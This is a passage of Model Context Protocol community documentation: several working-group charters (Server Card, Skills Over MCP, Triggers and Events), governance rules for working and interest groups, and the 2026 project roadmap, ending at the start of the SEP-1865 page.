| 2026-04-28 | Initial charter |
# Server Card Charter
Source: https://modelcontextprotocol.io/community/working-groups/server-card
Charter for the MCP Server Card Working Group.
## Group Type
**Working Group**
## Mission Statement
The Server Card Working Group exists to define mechanisms that facilitate discovery and usage of MCP servers via common discovery mechanisms, and to provide guidance on how this fits into broader AI standardization efforts around discovery. Concretely, the WG will define what constitutes an MCP Server Card, the standardized document format a Server Card must follow, and how clients discover a Server Card for a given server.
## Scope
### In Scope
* **Specification Work**: SEPs or extensions defining what constitutes an MCP Server Card and the specific format of the Server Card document.
* **Discovery Mechanism**: Specification of how an MCP Server Card document is discovered (well-known URL, resource-based discovery, etc.).
* **Cross-Ecosystem Coordination**: A recommendation to the [AI Card](https://github.com/Agent-Card/ai-card) effort on how to interact with MCP Server Cards.
* **Documentation**: Specification sections and guidance covering Server Card authoring and consumption.
### Out of Scope
* Changes to the MCP initialization handshake or transport layer.
* A general-purpose MCP server registry or catalog (owned by the Registry WG).
* Internationalization of Server Card content until an MCP-wide i18n approach is defined.
### Related Groups
* **Registry WG** — Server Card format should stay as close as possible to a subset of `server.json`; coordination required to avoid divergence.
* **AI Card effort** (external) — ongoing discussion on whether and how an AI Catalog can link directly to an MCP Server Card.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | ----------------- | ------------ | ---------------------------------------------------- | ---------------------------- |
| Lead | David Soria Parra | Anthropic | [@dsp-ant](https://github.com/dsp-ant) | 6 months (ends Aug 14, 2026) |
| Lead | Sam Morrow Drums | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | 6 months (ends Aug 14, 2026) |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ------------------ | ------------ | ---------------------------------------------------- | ------- | --------- |
| David Soria Parra | Anthropic | [@dsp-ant](https://github.com/dsp-ant) | | Lead |
| Sam Morrow Drums | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Lead |
| Tadas Antanavicius | | [@tadasant](https://github.com/tadasant) | | WG Member |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ------------------------------------- |
| Working Session | Weekly | 60 min | Technical discussion, proposal review |
Discord: [#server-card-wg](https://discord.com/channels/1358869848138059966/1399986204405141534)
## Resources
* Experimental extension repository: [modelcontextprotocol/experimental-ext-server-card](https://github.com/modelcontextprotocol/experimental-ext-server-card)
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------------------------------------------------------------------- | ------ | ----------- | -------------------------------------- |
| [SEP-2127: MCP Server Card](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2127) | Draft | Apr 3, 2026 | [@dsp-ant](https://github.com/dsp-ant) |
### Success Criteria
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------- | ------ | ----------- | -------- |
| SEP 2127: MCP Server Cards | Draft | End March | @dsp-ant |
| Reference implementation in Tier-1 SDKs | — | End April | TBD |
### Success Criteria
* Spec changes accepted by Core Maintainers.
* SDK implementations available.
* Real-world clients with reach implementing the proposal.
* Real-world servers with reach implementing the proposal.
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-03-26 | Initial charter |
# Skills Over MCP Charter
Source: https://modelcontextprotocol.io/community/working-groups/skills-over-mcp
Charter for the MCP Skills Over MCP Working Group.
## Group Type
**Working Group**
## Mission Statement
The Skills Over MCP Working Group defines how "agent skills" — rich, structured
instructions for agent workflows — are discovered, distributed, and consumed through MCP.
Native skills support in host applications demonstrates strong demand, and the group
emerged from discussion on [SEP-2076 — Agent Skills as a First-Class MCP Primitive](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076),
which raised open questions about whether existing MCP primitives suffice or what
conventions to standardize. The WG produces specification extensions, reference
implementations, and coordination artifacts because solutions touch the protocol spec,
registry schema, SDK implementations, and client behavior. The WG's current direction
is captured in [SEP-2640 — Skills Extension](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640)
(Resources-based, Extensions Track).
## Scope
### In Scope
* **Specification Work**: SEPs defining how skills are represented, discovered, and
consumed within MCP — including the Skills Extension (Extensions Track) and related
protocol changes
* **Reference Implementations**: SDK components and reference servers demonstrating
skill discovery and consumption patterns
* **Cross-Cutting Concerns**: Coordination with Registry WG (skills discovery/distribution,
registry schema changes), Agents WG (skill activation, server metadata consumption),
Primitive Grouping WG (progressive disclosure patterns), and external projects including
the [Agent Skills](https://agentskills.io/) spec (content format and well-known URI
discovery), FastMCP, and PydanticAI
* **Documentation**: Specification sections and guidance covering skill authoring,
discovery, and consumption
### Out of Scope
* **Registry schema decisions**: Schema ownership belongs to the Registry WG; this WG
contributes requirements but does not own the schema
* **Client implementation mandates**: We can document patterns but not require specific
client behavior
* **Plugin/bundle packaging**: Installable bundles (skills + servers + subagents +
configuration as a single artifact) — surfaced by use cases but belongs to a broader
packaging effort
### Related Groups
* **Agents WG** — How agents consume server metadata, skill activation
* **Registry WG** — Skills discovery/distribution, registry schema changes
* **Primitive Grouping WG** — Progressive disclosure patterns
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | --------------- | --------------------------- | ---------------------------------------- | ------- |
| Lead | Ola Hungerford | Nordstrom / MCP Maintainer | [@olaservo](https://github.com/olaservo) | Initial |
| Lead | Peter Alexander | Anthropic / Core Maintainer | [@pja-ant](https://github.com/pja-ant) | Initial |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ------------------------ | ------------------------------- | ------------------------------------------------------ | ------- | ----------- |
| Ola Hungerford | Nordstrom / MCP Maintainer | [@olaservo](https://github.com/olaservo) | | Lead |
| Peter Alexander | Anthropic / Core Maintainer | [@pja-ant](https://github.com/pja-ant) | | Lead |
| Yu Yi | Google | [@erain](https://github.com/erain) | | Participant |
| Sunish Sheth | Databricks | [@sunishsheth2009](https://github.com/sunishsheth2009) | | Participant |
| Keith A Groves | Hyix | [@keithagroves](https://github.com/keithagroves) | | Participant |
| Peder Holdgaard Pedersen | Saxo Bank / MCP Maintainer | [@pederhp](https://github.com/pederhp) | | Participant |
| Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Participant |
| Jacob MacDonald | Google | [@jakemac53](https://github.com/jakemac53) | | Participant |
| Jonathan Hefner | Independent / MCP Maintainer | [@jonathanhefner](https://github.com/jonathanhefner) | | Participant |
| Luca Chang | AWS / MCP Maintainer | [@LucaButBoring](https://github.com/LucaButBoring) | | Participant |
| Bob Dickinson | TeamSpark.ai / MCP Maintainer | [@BobDickinson](https://github.com/BobDickinson) | | Participant |
| Radoslav Dimitrov | Stacklok / MCP Maintainer | [@rdimitrov](https://github.com/rdimitrov) | | Participant |
| Juan Antonio Osorio | Stacklok | [@JAORMX](https://github.com/JAORMX) | | Participant |
| Kaxil Naik | Astronomer / Apache Airflow PMC | [@kaxil](https://github.com/kaxil) | | Participant |
| Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | | Participant |
| Haoyu Wang | Google | [@helloeve](https://github.com/helloeve) | | Participant |
| Sambhav Kothari | Bloomberg / MCP Maintainer | [@sambhav](https://github.com/sambhav) | | Participant |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | ----------------- | ---------- | ----------------------------------------------------------------------------------- |
| Working Session | Weekly (Tuesdays) | 60 minutes | Technical discussion, pattern evaluation, proposal review; open to all participants |
Default start time is 9:00 AM Pacific. Sessions may occasionally be scheduled earlier to better accommodate non-US time zones.
Meetings are published at [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io). Agendas are posted in advance per MCP meeting policy. Meeting notes are published to [Meeting Notes — Skills Over MCP WG](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg).
Discord: [#skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084)
## Resources
* Experimental findings and reference implementations: [modelcontextprotocol/experimental-ext-skills](https://github.com/modelcontextprotocol/experimental-ext-skills)
* Project board: [Skills Over MCP WG](https://github.com/orgs/modelcontextprotocol/projects/38/views/1)
## Deliverables & Success Metrics
### Active Work Items
Full live tracking is on the [Skills Over MCP WG project board](https://github.com/orgs/modelcontextprotocol/projects/38/views/1). Headline workstreams:
| Item | Status | Target Date | Champion |
| ----------------------------------------------------------------------------------------------------------------- | ----------- | ----------- | -------------------------------------------------------------------------------------------- |
| [Skills Extension SEP](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) (Extensions Track) | In Review | | [@pja-ant](https://github.com/pja-ant) |
| Skills Extension reference implementation | In Review | | [@olaservo](https://github.com/olaservo) |
| Agent Skills spec coordination | In Progress | | [@jonathanhefner](https://github.com/jonathanhefner), [@pja-ant](https://github.com/pja-ant) |
| Registry skills.json proposal | In Progress | | [@JAORMX](https://github.com/JAORMX) |
### Success Criteria
* **Short-term**: Documented consensus on requirements and evaluation of existing approaches
* **Medium-term**: Clear recommendation (convention vs. protocol extension vs. both) — the draft Skills Extension SEP represents the WG's current direction: a formal extension using existing Resources primitives
* **Long-term**: Interoperable skill distribution across MCP servers and clients
## Changelog
| Date | Change |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 2026-04-25 | Linked SEP-2640 in Active Work Items; added @helloeve (Google) as Participant |
| 2026-04-16 | Converted from Interest Group to Working Group |
| 2026-04-14 | Initial charter (formalized from [experimental-ext-skills](https://github.com/modelcontextprotocol/experimental-ext-skills) repo README, which served as the de facto charter before the charter process was established via [SEP-2149](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2149)) |
| 2026-02-01 | IG formed; experimental repo created |
# Triggers and Events Charter
Source: https://modelcontextprotocol.io/community/working-groups/triggers-events
Charter for the MCP Triggers and Events Working Group.
## Group Type
**Working Group**
## Mission Statement
The Triggers and Events Working Group exists to define how MCP servers proactively notify clients of state changes. Today, clients learn about server-side updates by polling or holding an SSE connection open. This WG will specify a standardized callback mechanism—webhooks or similar—that lets servers push notifications when new data is available, with defined ordering guarantees that hold across all transports.
## Scope
### In Scope
* **Specification Work**: SEPs defining the trigger/callback mechanism, subscription lifecycle, delivery semantics, and event ordering guarantees.
* **Reference Implementations**: SDK components demonstrating server-initiated notifications and client-side callback handling.
* **Cross-Cutting Concerns**: Coordination with the Transports WG on transport-specific delivery behavior, and with the Agents WG where task completion notifications intersect with event triggers.
* **Documentation**: Specification sections covering event-driven patterns and migration guidance from polling-based approaches.
### Out of Scope
* Changes to the transport wire format or session model (owned by the Transports WG).
* General-purpose pub/sub infrastructure beyond what the MCP protocol requires.
* Modifications to existing notification primitives (`notifications/resources/updated`, `notifications/tools/list_changed`, etc.) that do not relate to proactive server-initiated delivery.
### Related Groups
* **Transports WG** — delivery and ordering guarantees depend on transport capabilities; callback semantics must be coherent across stdio, Streamable HTTP, and future transports.
* **Agents WG** — [SEP-1686 (Tasks)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686) identifies webhook-style task completion notifications as a future consideration; this WG owns that mechanism.
## Leadership
| Role | Name | Organization | GitHub | Term |
| ---- | --------------- | ------------------- | ------------------------------------------------ | ------- |
| Lead | Clare Liguori | Amazon Web Services | [@clareliguori](https://github.com/clareliguori) | Initial |
| Lead | Peter Alexander | Anthropic | [@pja-ant](https://github.com/pja-ant) | Initial |
## Authority & Decision Rights
| Decision Type | Authority Level |
| ----------------------------------- | ------------------------------------------------------ |
| Meeting logistics & scheduling | WG Leads (autonomous) |
| Proposal prioritization within WG | WG Leads (autonomous) |
| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ------------------------------------- |
| Working Session | Weekly | 30 min | Technical discussion, proposal review |
## Resources
* Incubation repository: [modelcontextprotocol/experimental-ext-triggers-events](https://github.com/modelcontextprotocol/experimental-ext-triggers-events)
## Deliverables & Success Metrics
### Active Work Items
| Item | Status | Target Date | Champion |
| --------------------------------------- | -------- | ----------- | -------- |
| SEP: Events in MCP v1 RFC | Ideating | End April | TBD |
| Reference implementation in Tier-1 SDKs | — | End April | TBD |
### Success Criteria
* An accepted SEP defining the trigger/callback mechanism and its subscription lifecycle.
* Reference implementations in at least two Tier-1 SDKs.
* Conformance test coverage for the new primitives.
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-03-24 | Initial charter |
# Working and Interest Groups
Source: https://modelcontextprotocol.io/community/working-interest-groups
Governance rules for the two forms of collaborative groups within the Model Context Protocol community — Working Groups and Interest Groups.
Within the MCP contributor community we maintain two types of collaboration formats: **Interest Groups (IGs)** and **Working Groups (WGs)**.
## Quick Reference
| | Interest Group (IG) | Working Group (WG) |
| -------------- | -------------------------------------------------- | ------------------------------------------------------ |
| **Purpose** | Identify and discuss problems | Build concrete solutions |
| **Output** | Problem statements, use cases, recommendations | SEPs, implementations, code |
| **Commitment** | Active contribution expected | Active contribution expected |
| **Duration** | Ongoing as long as topic is relevant | Until deliverables complete |
| **Leadership** | Facilitator(s) | Lead(s) |
| **Decisions** | Rough consensus, non-binding | Binding (lazy consensus → vote → escalation) |
| **Example** | "Security in MCP" — discussing security challenges | "Server Identity" — implementing identity verification |
## When to Use Which
**Join an Interest Group when you:**
* Have a problem but aren't sure of the solution
* Want to explore whether an idea has community support
* Are new to MCP and want to learn about a topic area
* Want to share use cases and requirements
**Join a Working Group when you:**
* Have a specific solution to implement
* Are ready to write code or a SEP
* Can commit regular time to active development
* Want to help build a particular feature
**Typical flow**: Discuss a problem in an IG → Validate that it's worth solving → Form or join a WG to build the solution → Submit a SEP → Implement
## Interest Groups (IGs)
**Goal:** Facilitate discussion and knowledge-sharing among MCP contributors who share interests in a specific topic. The focus is on identifying problems worth solving and gathering requirements — not building solutions.
**What IGs do:**
* Host discussions in Discord channels
* Run regular meetings to share use cases
* Document problem statements and requirements
* Build consensus on what should be prioritized
* Provide input to Working Groups and SEPs
**Examples:**
* Security in MCP
* Auth in MCP
* Using MCP in enterprise settings
* Tooling and practices for hosting MCP clients
## Working Groups (WGs)
**Goal:** Collaborate on a SEP, a series of related SEPs, or an officially endorsed project. WGs produce concrete deliverables.
**What WGs do:**
* Write and iterate on SEPs
* Build reference implementations
* Maintain ongoing projects (Inspector, Registry, SDKs)
* Drive features from proposal to specification
**Examples:**
* Registry
* Inspector
* Tool Filtering
* Server Identity
## Governance
The following rules apply to all MCP Working Groups and Interest Groups. Individual group charters cannot override these requirements. Where rules differ between WGs and IGs, this is noted explicitly.
### Leadership
Each group has one or more **Leads** (referred to as **Facilitators** for Interest Groups).
**Requirements for all Leads and Facilitators:**
* Hold at least Member status on the MCP Contributor Ladder — see [Governance](/community/governance) for role definitions
* Demonstrated sustained engagement with the group's scope area
* Ability to facilitate across organizational boundaries
* Commitment to running the group's operations
* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer
**Additional requirements for WG Leads:**
* Commitment to 2-3 hours/week for WG activities
**All Leads are responsible for:**
* Schedule and facilitate regular meetings
* Set agendas in collaboration with participants and publish them in advance
* Ensure meeting notes are published within 48 hours
* Maintain the group's documentation
* Maintain a members list and respective access list in the [access repository](https://github.com/modelcontextprotocol/access)
* Proactively recruit and retain broad, representative membership across organizations and perspectives
**WG Leads are additionally responsible for:**
* Drive proposals through the [SEP process](/community/sep-guidelines) to resolution
* Triage SEPs in the WG's scope area, including closing SEPs that do not fit the roadmap (with documented rationale; authors may appeal to Core Maintainers)
* Escalate blocked decisions to Core Maintainers with clear context
* Maintain the working group's roadmap
* Solicit feedback from one or more Core Maintainers on the general direction of the group on a continuous basis
* Provide quarterly status updates to the Community and Core Maintainer Group
### Participation Levels
All groups use the following participation tiers. Note that **WG Member** is a group-specific participation level distinct from the org-wide **Member** role — an individual may be a WG Member in a specific group without holding org-wide Member status, and vice versa.
| Level | Description | Privileges |
| -------------------- | ------------------------------------------------- | ------------------------------------------------------------------ |
| **Observer** | Anyone interested in following the group's work | Read access, may attend meetings, limited discussion participation |
| **Participant** | Active contributor to group discussions | Can propose agenda items, participate in async votes |
| **WG Member** | Sustained contributor with demonstrated expertise | Counted for quorum (WGs only) |
| **Lead/Facilitator** | Operational leadership of the group | Sets agenda, facilitates, escalates |
Interest Groups primarily operate with Observers, Participants, and Facilitators. IGs may adopt the WG Member tier if their work warrants formal decision-making, but are not required to.
**Becoming a WG Member** (WGs, and IGs that adopt the WG Member tier):
* Sustained participation over 3 months
* Meaningful contributions (code, spec text, reviews, or documentation)
* Nomination by existing WG Member or Lead
* No objections from Leads, Core Maintainers, or Lead Maintainers within 7 days
**WG Member Responsibilities:**
* Continue contributing in good faith
* Maintain name, organization, and Discord name in the respective group's member list
**Active vs. Emeritus:** WG Members who do not participate for 3 consecutive months are moved to emeritus status and may return by demonstrating renewed participation.
### Decision-Making Process
This section applies primarily to Working Groups, which make binding decisions (consensus on technical designs, spec changes, etc.). Interest Groups typically operate by rough consensus in discussions and do not make binding decisions — their output is recommendations, problem statements, and use cases. IGs that adopt the WG Member tier may use this process for internal decisions.
**WG Consensus** is achieved through the following progression. Each step is attempted before moving to the next.
* Proposals announced with clear deadline (5 days minimum for minor items, 10 days for significant items)
* Silence is consent
* Any WG Member may block with documented objection
* Blocks must propose alternatives or clear criteria for resolution
* If no blocks are raised by the deadline, the proposal is accepted
A formal vote is triggered when a WG Member blocks during the lazy consensus period, or when a Lead or three or more WG Members request one.
* Quorum: 50% of active WG Members
* Passage: simple majority for routine matters; 2/3 majority for scope changes
* Core Maintainer feedback is advisory unless explicitly stated as binding
* All votes documented with rationale
If a vote fails to resolve the matter (no quorum, does not pass, or the result is contested), the Lead escalates to Core Maintainers following the escalation path below.
### Escalation Path
For technical and design disagreements within a group's scope, groups should resolve disagreements locally before involving Core Maintainers. For WGs, this means using the decision-making progression above. For IGs, the Facilitator should attempt to find rough consensus before escalating.
Some disagreements are not appropriate for group-level resolution and should be escalated directly to Core Maintainers:
* Scope disputes (whether a topic falls within the group's charter)
* Authority disputes (whether the group has the right to decide a matter)
* Cross-group conflicts (disagreements spanning multiple WGs or IGs)
* Code of conduct or behavioral concerns
* Membership or participation disputes
When escalation is necessary:
1. Lead documents the decision, options considered, and points of disagreement
2. Lead presents the escalation to the Core Maintainer group with a clear ask
3. The Core Maintainer group designates a CM — who should not share organizational affiliation with the parties involved — to resolve the issue and report back to the group
4. The designated CM either: (a) provides binding guidance, (b) requests more information, or (c) recommends the full Core Maintainer group deliberate
5. Timeline: escalations should receive initial response within 5 business days
### Meeting Requirements
Leads determine meeting frequency, format, and duration based on the group's current needs and lifecycle stage. There is no fixed cadence requirement — a WG near a specification release may meet weekly, while an IG in early exploration may meet monthly or work primarily asynchronously.
Regardless of format or frequency, all group meetings must:
* Be open to all community participants (no closed or organization-internal meetings)
* Be published on [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io) at least 7 days in advance
* Have agendas published and publicly available. The agenda or a link to the agenda should be published as a [GitHub Discussion in the Meeting Notes category](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/)
* Have notes published within 48 hours to the same discussion
Leads should actively involve WG Members and Participants in operational duties such as preparing agendas, taking meeting notes, and facilitating discussions.
### Communication Channels
All groups use the following channels:
| Channel | Purpose | Response Expectation |
| ------------------------------------ | ------------------------------ | -------------------- |
| Discord `#{name}-wg` or `#{name}-ig` | Quick questions, coordination | Best effort |
| GitHub Discussions | Long-form technical discussion | Weekly triage |
In addition to Discord, groups can establish a discussion category in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/). Leads will be granted the appropriate roles to manage and moderate discussions.
### Reporting
**Working Groups** provide quarterly updates (end of January, April, July, October) including:
* Progress against deliverables
* Blocked items and escalations
* Membership changes
* Upcoming priorities
* Resource needs
The quarterly updates are provided as a document posted in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) category of the Working Group. They are optionally discussed with the Core Maintainers in a core maintainer meeting.
**Interest Groups** do not have formal reporting requirements but should keep their charter and member list current.
### Lifecycle
**Working Group Formation:**
* There must be a widely acknowledged concern requiring coordination
* PR for creation of WG into `docs/community/working-groups//overview.mdx`, gated by CODEOWNERS requiring approval by Maintainers
* PR for charter into `docs/community/working-groups/.mdx`, gated by CODEOWNERS requiring approval from Core Maintainers
* Initial member list approved by WG Lead
**Interest Group Formation:**
* Fill out the creation template in the `#wg-ig-group-creation` channel on [Discord](https://discord.gg/6CSzBmMkjX)
* A Core Maintainer reviews the proposal; the IG and its Facilitator(s) must be sponsored by at least two Core Maintainers or one Lead Maintainer
* Once sponsored, the Facilitator(s) organize the IG and create a charter
**Retirement:**
* **WGs**: WG Lead or Core Maintainer proposes retirement with rationale; Core Maintainer or Lead Maintainer approval required. WGs are also retired when they have no active work for a sustained period or have completed all planned deliverables.
* **IGs**: Core Maintainers or Lead Maintainers may retire an IG that is no longer active or needed.
* In both cases, documentation is archived and channels are marked inactive.
### Charter Amendments
Changes to a group's charter (WG or IG) require:
* Proposal by Lead/Facilitator or Core Maintainer
* Approval by Core Maintainers
## Charters
Every MCP Working Group and Interest Group must maintain a charter document that captures its specific mission, scope, leadership, membership, and operations. The governance rules above apply automatically and do not need to be repeated in the charter.
See the [Group Charter Template](/community/charter-template) for the required structure and a copyable template.
## FAQ
### How do I get involved contributing to MCP?
These groups provide an on-ramp:
1. [Join Discord](https://discord.gg/6CSzBmMkjX) and follow IGs relevant to you. Attend [live calls](https://meet.modelcontextprotocol.io/). Participate in discussions.
2. Offer to help with operational duties — facilitating calls, preparing agendas, taking notes. Share your use cases in SEP discussions.
3. When ready for hands-on work, contribute to WG deliverables.
4. Sustained contribution is a recognized pathway to WG Member status and contributor ladder advancement.
### Where can I find a list of all current WGs and IGs?
On the [MCP Contributor Discord](https://discord.gg/6CSzBmMkjX), there is a section of channels for each Working and Interest Group. Chartered groups also have documentation under `docs/community/` in the [modelcontextprotocol repository](https://github.com/modelcontextprotocol/modelcontextprotocol).
### Do I need to join an IG before starting a WG?
No. IG participation can help validate ideas and build support, but it's not required. You can propose a WG directly if you have a clear deliverable in mind and can secure Core Maintainer sponsorship.
### Do I need to be in a WG to submit a SEP?
No. Anyone can submit a SEP. However, WG collaboration can strengthen your proposal and help it find a sponsor.
### What if my IG discussion leads to a concrete solution?
You can either:
* Form a new WG to build the solution
* Join an existing WG if one covers the area
* Submit a SEP directly if the solution is well-defined
### Can one person be in multiple IGs/WGs?
Yes. Participate in as many groups as your time allows.
# Roadmap
Source: https://modelcontextprotocol.io/development/roadmap
Our plans for evolving Model Context Protocol
Last updated: **2026-03-05**
This page describes our strategic priorities and what we expect **Working Groups** and **Interest Groups** to deliver against them.
The ideas presented here are not commitments. We may solve these challenges differently than described. Some items may not materialize at all. This is also not an *exhaustive* list. We may incorporate work that isn't mentioned here.
## SEP Prioritization
**SEPs that fall within the priority areas below will receive expedited review and have the highest chance of acceptance.** SEPs outside these areas are not automatically rejected, but contributors should expect longer review timelines and a higher bar for justification. Maintainer capacity is finite. We direct it toward these priorities first.
If you are considering a SEP, check whether it aligns with one of the areas below, discuss it in the relevant [Working Group or Interest Group](/community/working-interest-groups), and bring that group's backing with you. SEPs with WG support and a clear connection to the roadmap move fastest. See the [SEP guidelines](/community/sep-guidelines) for the full process.
## Priority Areas
### 1. Transport Evolution and Scalability
Streamable HTTP gave MCP a production-ready transport, but running it at scale has revealed gaps around horizontal scaling, stateless operation, and middleware patterns.
**What we want to achieve:**
* **Next-generation transport**: evolve Streamable HTTP to run statelessly across multiple server instances and behave correctly behind load balancers and proxies.
* **Scalable session handling**: define how sessions are created, resumed, and migrated so that server restarts and scale-out events are transparent to connected clients.
* **MCP Server Cards**: a standard for exposing structured server metadata via a `.well-known` URL, so browsers, crawlers, and registries can discover a server's capabilities without connecting to it.
**Working Group ownership:**
* **Transports WG** owns the transport and session work: a series of SEPs covering the wire format, session model, and resumption protocol, plus conformance guidance for SDK authors.
* **Server Card WG** owns the Server Card format and its distribution, coordinating with the broader industry AI-catalog effort.
We will **not** be introducing additional official transports this cycle. Keeping the set small protects ecosystem compatibility; the community should experiment via custom transports.
### 2. Agent Communication
The Tasks extension ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)) gave agents a reliable call-now / fetch-later pattern. Running it in production has surfaced gaps in the lifecycle semantics that the **Agents WG** should close:
* **Retry semantics**: what happens when a task fails transiently, and who decides whether to retry.
* **Expiry policies**: how long results are retained after completion, and how clients learn a result has expired.
These are the gaps we can point to today. The Agents WG should also collect and triage operational issues from production deployments—this list will grow as more of the ecosystem runs Tasks at scale.
### 3. Governance Maturation
MCP has grown into a multi-company open standard under the Linux Foundation. [SEP-1302](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1302) formalized Working Groups and Interest Groups, and [SEP-2085](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2085) established succession and amendment procedures. The next step is giving the community a clear path to leadership so the project does not depend on a small set of individuals.
The **Governance WG** should deliver:
* **A Contributor Ladder SEP** defining the progression from community participant → WG contributor → WG facilitator → lead maintainer → core maintainer, with explicit nomination and review criteria at each step.
* **A delegation model** allowing WGs with a proven track record to accept SEPs and publish extension updates within their domain without a full core-maintainer review cycle.
* **A charter template** that every WG and IG maintains publicly: scope, active deliverables, success criteria, and retirement conditions, reviewed quarterly.
### 4. Enterprise Readiness
Enterprises are deploying MCP at scale and hitting gaps the protocol does not yet address.
Areas where we need clear problem statements and directional proposals:
* **Audit trails and observability**: end-to-end visibility into what a client requested and what a server did, in a form enterprises can feed into their existing logging and compliance pipelines.
* **Enterprise-managed auth**: paved paths away from static client secrets and toward SSO-integrated flows ([Cross-App Access](https://xaa.dev)), so IT can manage MCP access the same way they manage everything else.
* **Gateway and proxy patterns**: well-defined behavior when a client does not connect directly to a server but routes through an intermediary. This may include authorization propagation, session semantics, and what the gateway is allowed to see.
* **Configuration portability**: a way to configure a server once and have that configuration work across different MCP clients.
We expect an **Enterprise WG** to form to own this. Much of the output will likely land as extensions rather than core specification changes.
## On the Horizon
These areas have community interest and interest from core maintainers but are not top priorities. We will support a community-formed Working Group in any of them and review SEPs on these topics if time permits.
* **Triggers and Event-Driven Updates** — clients currently learn about server-side state changes by polling or holding an SSE connection open. A standardized callback mechanism (webhooks or similar) would let servers proactively notify clients when new data is available, with defined ordering guarantees across all transports.
* **Result Type Improvements** — tool calls, resource reads, and task results all arrive complete and inline. Streamed results would let clients receive output incrementally for interactive scenarios (generated text, audio, video frames); reference-based results would let clients decide when to pull large payloads into context rather than polluting it by default. This is cross-cutting: streaming touches transport, references touch the schema.
* **Security & Authorization** — finer-grained least-privilege scopes, clearer guidance on avoiding OAuth mix-up attacks, secure credential management on both client and server, and a community-driven vulnerability disclosure program routed through the Linux Foundation. Sponsored work is already underway: [SEP-1932 (DPoP)](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1932) and [SEP-1933 (Workload Identity Federation)](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1933).
* **Extensions Ecosystem** — the `ext-auth` and `ext-apps` tracks are early proof that the extension mechanism works. Maturing them, investigating a Skills primitive for composed capabilities, and adding first-class extension support to the registry would all strengthen the path from experiment to standard.
## Validation
A protocol specification is only as good as the implementations that follow it. Alongside the areas above, we continue to invest in:
* **Conformance Test Suites**: automated verification that clients, servers, and SDKs correctly implement the specification, with coverage expanding alongside each new feature area.
* **SDK Tiers**: the tiering system introduced in [SEP-1730](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1730) gives developers a clear signal of which SDKs track the specification most closely.
* **Reference Implementations**: canonical implementations of new features to anchor community development and unblock early adopters.
## Get Involved
MCP's roadmap is built by its community:
* **Join a Working Group or Interest Group**: see the [Working Groups & Interest Groups](/community/working-interest-groups) page and the [community communication channels](/community/communication) to connect with the groups active in each area above.
* **Propose or comment on SEPs**: review the [SEP guidelines](/community/sep-guidelines) and open or weigh in on proposals.
* **Start an experimental extension**: [SEP-2133](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2133) lets any WG or IG experiment in an `experimental-ext-` repository before a formal SEP is required.
* **Contribute to the project**: read the [contributing guide](/community/contributing) for how to get involved with the specification, SDKs, and tooling.
# SEP-1865: MCP Apps - Interactive User Interfaces for MCP
Source: https://modelcontextprotocol.io/seps/1865-mcp-apps-interactive-user-interfaces-for-mcp
MCP Apps - Interactive User Interfaces for MCP
Final
Extensions Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
